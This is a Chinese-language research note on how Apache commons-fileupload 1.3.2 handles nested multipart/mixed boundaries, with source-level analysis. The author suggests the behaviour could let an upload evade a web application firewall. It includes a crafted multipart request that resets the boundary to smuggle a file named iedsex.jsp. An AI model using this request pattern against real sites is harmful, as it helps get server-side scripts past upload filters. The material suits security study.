源码层看common-io绕waf规则(maybe)
0 条评论前言
在研究openrasp的时候看到common-io上传,顺便研究了下common-io的解析,发现了一个特性,没怎么研究过waf,不知道是否可以绕过。
分析
我这里使用的是commons-fileupload 1.3.2
问题在于common-io 对multipart/mixed的解析,会重新指定boundary
传入文件上传包如下:
boundary=---------------------------38964880814406057921247982080
Content-Length: 501
Origin: http://127.0.0.1:8080
Connection: close
Referer: http://127.0.0.1:8080/vulns/upload.jsp
Cookie: JSESSIONID=FDA12D9AEBE7366BB7453DDA6B103CC9; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------38964880814406057921247982080
Content-Disposition: form-data; name="filse";
Content-Type: multipart/mixed=123;boundary=---------------------------38964880814406057921247982088
123
-----------------------------38964880814406057921247982088
Content-Disposition: form-data; filename="iedsex.jsp"
Content-Type: application/octet-stream
123
-----------------------------38964880814406057921247982088--
-----------------------------38964880814406057921247982080--
开启调试,在org.apache.commons.fileupload.FileUploadBase.FileItemIteratorImpl#findNextItem 中
如果对subContentType 匹配到了 multipart/mixed,就会获取subBoundary,然后进入下一轮判断。
Boundary 是从传入的contentType
中进行解析获取的,以;
作为分割后按 =
解析成key与value,并添入params,然后从中获取boundary
的值。
之后将boundary重新设置,注意,这里的boundary要与之前的长度一致,修改成了
-----------------------------38964880814406057921247982088
进入下一轮循环,
由于改变了boundary
所以解析新的boundary中的内容
-----------------------------38964880814406057921247982088
Content-Disposition: form-data; filename="iedsex.jsp"
Content-Type: application/octet-stream
123
-----------------------------38964880814406057921247982088--
这里由于this.currentFieldName 设置了,所以进入else分支
由于elese分支中的field已经指定了为上一步骤的field,所以直接传入filename即可,不需要name。
下面便是正常的解析了,
我们甚至可以让正常的boundary解析一个文件,指定的boundary再解析一个文件
或者将其伪装成另一个文件包上传的内容
结束
可能与RFC规范有关 https://www.w3.org/Protocols/rfc1341/7_2_Multipart.html
未再继续研究其他语言。